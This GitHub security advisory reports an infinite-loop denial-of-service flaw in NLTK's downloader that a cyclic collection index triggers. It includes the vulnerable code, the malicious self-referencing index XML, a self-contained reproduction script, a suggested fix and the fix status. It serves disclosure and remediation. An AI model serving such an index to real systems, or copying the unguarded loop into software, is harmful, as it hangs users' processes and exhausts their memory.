Skip to main content
Menu
Advisories

NLTK: Downloader cyclic collection indices cause an infinite closure walk

GHSA-PCM8-FQJX-RVX8Published Updated GitHub

Description

affected: PyPI nltk >= 3.6.7 — nltk.downloader index parsing (Downloader._update_index) dynamically reproduced: nltk 3.6.7 (4/4 checks), 3.9.2 (4/4), 3.10.3 (4/4), and develop 6818767b9 (4/4)

---

Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`).

Summary

Downloader._update_index (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:

# nltk/downloader.py:1300-1310
for collection in self._collections.values():
    packages = {}
    queue = [collection]
    for child in queue:
        if isinstance(child, Collection):
            queue.extend(child.children)
        elif isinstance(child, Package):
            packages[child.id] = child
    collection.packages = packages.values()

A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.

Details

Root cause is the combination of three unguarded steps:

  1. Collection.fromxml (nltk/downloader.py:362-369) stores each <item ref="…"> attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle.
  2. _update_index (nltk/downloader.py:1285-1290) replaces those ref strings with the live objects from self._collections / self._packages. A self- or mutual-reference therefore becomes an object-level cycle in children.
  3. The closure walk (nltk/downloader.py:1300-1310) iterates for child in queue while doing queue.extend(child.children) inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no visited set, no node-count cap, and no cycle detection.

The input is the data-server index that the downloader is designed to fetch and trust: _update_index pulls it with safe_parse(urlopen(self._url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (server_index_url constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is server_index_url — plus NLTK_DOWNLOAD_URL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.

PoC

The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMIT_AS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.

Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.

Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.

Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):

[PASS] precondition: cyclic index has a self-referencing <collection>  (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure  (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
  File "<string>", line 38, in <module>
  File "nltk/downloader.py", line 627, in packages
    self._update_index()
  File "nltk/downloader.py", line 1305, in _update_index
    queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth)  (rc=1, MemoryError)
nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failed

The malicious index is exactly:

<index>
  <packages>
    <package id="p1" name="Sample corpus" subdir="corpora/p1"
             url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
  </packages>
  <collections>
    <collection id="a" name="Cyclic collection">
      <item ref="a"/>
      <item ref="p1"/>
    </collection>
  </collections>
</index>

Impact

  • Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
  • Who is impacted: any deployment that uses nltk.downloader (directly, via nltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(), info(), packages(), collections(), status()) funnels through _update_index and is blocked.
  • Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
  • Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running nltk.download() in a script or service turns a single poisoned index into an unresolvable hang.

Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:

for collection in self._collections.values():
    packages = {}
    queue = [collection]
    seen = set()
    for child in queue:
        if isinstance(child, Collection):
            if child.id in seen:
                continue
            seen.add(child.id)
            queue.extend(child.children)
        elif isinstance(child, Package):
            packages[child.id] = child
    collection.packages = packages.values()

Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.

---

Reproduction script (self-contained)

#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.

Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.

Controls:
  * an acyclic index of the same shape completes and yields the expected
    closure (the same function, the same caller, under the same memory cap);
  * the attack never returns normally: it either keeps running past a hard
    timeout (observed hang) or is aborted by the child's address-space cap
    (unbounded memory growth) -- in both cases the exact finite input that the
    control handles instantly cannot be completed.

Usage:
  python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]

Environment:
  NLTK_WHEEL   path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
               installed into a scratch dir and put on PYTHONPATH for the
               verification children.
  NLTK_TIMEOUT  hard timeout seconds for each child (default: 60).
  MEMCAP_MIB    address-space cap per child in MiB (default: 512); can also be
               passed as the first positional argument.
"""

import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree

def _default_memcap():
    if len(sys.argv) > 1 and sys.argv[1] != "--child":
        raw = sys.argv[1]
    else:
        raw = os.environ.get("MEMCAP_MIB", "512")
    try:
        value = int(raw)
    except (TypeError, ValueError):
        print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
        return "512"
    return str(value) if value > 0 else "512"


MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))

CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
  <packages>
    <package id="p1" name="Sample corpus" subdir="corpora/p1"
             url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
  </packages>
  <collections>
    <collection id="a" name="Cyclic collection">
      <item ref="a"/>
      <item ref="p1"/>
    </collection>
  </collections>
</index>
"""

ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
  <packages>
    <package id="p1" name="Sample corpus" subdir="corpora/p1"
             url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
  </packages>
  <collections>
    <collection id="a" name="Acyclic collection">
      <item ref="p1"/>
    </collection>
  </collections>
</index>
"""

CHILD_DRIVER = r"""
import os
import resource
import sys

import nltk
import nltk.data as nltk_data

mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]

# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)

cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))

from nltk.downloader import Downloader

downloader = Downloader(server_index_url=url)

if mode == "control":
    # _update_index() runs to completion here; the acyclic closure is finite.
    packages = list(downloader.packages())
    ids = sorted(p.id for p in packages)
    print("[PASS] control: Downloader.packages() returned (no hang)")
    assert ids == ["p1"], ids
    print("[PASS] control: _packages parsed = %r" % ids)
    col = next(c for c in downloader.collections() if c.id == "a")
    closure = sorted(p.id for p in col.packages)
    assert closure == ["p1"], closure
    print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
    sys.exit(0)
elif mode == "attack":
    # This call drives _update_index -> the collection-closure BFS. The index
    # collection self-references itself, so the BFS never terminates; the queue
    # keeps growing until the address-space cap aborts the process.
    print("[attack] entering Downloader.packages() on the self-referencing index ...")
    _ = downloader.packages()
    print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
    sys.exit(2)
else:
    print("[FAIL] unknown mode %r" % mode)
    sys.exit(2)
"""


def build_site_env(workdir):
    """Return (env, site_path_or_None) so the children can import nltk."""
    probe = subprocess.run(
        [sys.executable, "-c", "import nltk"],
        capture_output=True,
    )
    if probe.returncode == 0:
        return dict(os.environ), None
    wheel = os.environ.get("NLTK_WHEEL")
    if not wheel:
        return None, None
    site = os.path.join(workdir, "site")
    subprocess.run(
        [sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
        check=True,
    )
    env = dict(os.environ)
    env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
    return env, site


def run_child(env, script, mode, url, workdir):
    cmd = [sys.executable, script, "--child", mode, url, workdir]
    start = time.monotonic()
    try:
        proc = subprocess.run(
            cmd,
            env=env,
            capture_output=True,
            text=True,
            timeout=CHILD_TIMEOUT,
        )
        timed_out = False
    except subprocess.TimeoutExpired as exc:
        proc = exc
        timed_out = True
    elapsed = time.monotonic() - start
    stdout = proc.stdout if hasattr(proc, "stdout") else ""
    stderr = proc.stderr if hasattr(proc, "stderr") else ""
    return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed


def main():
    results = []

    def check(name, cond, detail=""):
        results.append(bool(cond))
        print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, ("  (%s)" % detail if detail else "")))

    with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
        cyclic_path = os.path.join(workdir, "index_cyclic.xml")
        acyclic_path = os.path.join(workdir, "index_acyclic.xml")
        with open(cyclic_path, "w") as fh:
            fh.write(CYCLIC_INDEX)
        with open(acyclic_path, "w") as fh:
            fh.write(ACYCLIC_INDEX)
        cyclic_url = "file://" + cyclic_path
        acyclic_url = "file://" + acyclic_path

        # --- Input modeling preconditions -------------------------------
        cyc = ElementTree.parse(cyclic_path).getroot()
        col = cyc.find("collections/collection")
        check(
            "precondition: cyclic index has a self-referencing <collection>",
            col is not None and col.get("id") == "a"
            and any((it.get("ref") == "a" for it in col.findall("item"))),
            "ref='a' inside <collection id='a'>",
        )
        acy = ElementTree.parse(acyclic_path).getroot()
        cola = acy.find("collections/collection")
        check(
            "precondition: acyclic control index references only packages",
            cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
        )

        env, site = build_site_env(workdir)
        if env is None:
            print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
            return 1
        child_env = dict(env)
        child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)

        # --- Control: acyclic index completes under the same memory cap ---
        t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
        print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
        if out:
            print(out, end="")
        if err:
            print(err, end="")
        check(
            "control: acyclic index completes and yields the documented finite closure",
            (not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
            "rc=%s" % rc,
        )

        # --- Attack: cyclic index must NOT complete ----------------------
        t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
        print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
        if out:
            print(out, end="")
        if err:
            print(err, end="")
        if t:
            check(
                "attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
                True,
                "process still running, queue growing unboundedly",
            )
        elif rc is not None and rc != 0:
            memory = "MemoryError" in (out + err) or "MemoryError" in err
            check(
                "attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
                memory,
                "rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
            )
        else:
            check(
                "attack: self-referencing index hangs _update_index (vulnerability reproduced)",
                False,
                "function returned -- cyclic input was handled",
            )

        # --- Version banner ---------------------------------------------
        ver_out = subprocess.run(
            [sys.executable, "-c", "import nltk; print(nltk.__version__)"],
            env=env,
            capture_output=True,
            text=True,
        ).stdout.strip()
        print("nltk under test: %s" % (ver_out or "unknown"))

    passed = sum(results)
    failed = len(results) - passed
    print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
    return 0 if failed == 0 else 1


if __name__ == "__main__":
    if len(sys.argv) >= 2 and sys.argv[1] == "--child":
        os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
    sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).

Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).

Release: none yet; no release tag contains b77d329db.

Affected versions

References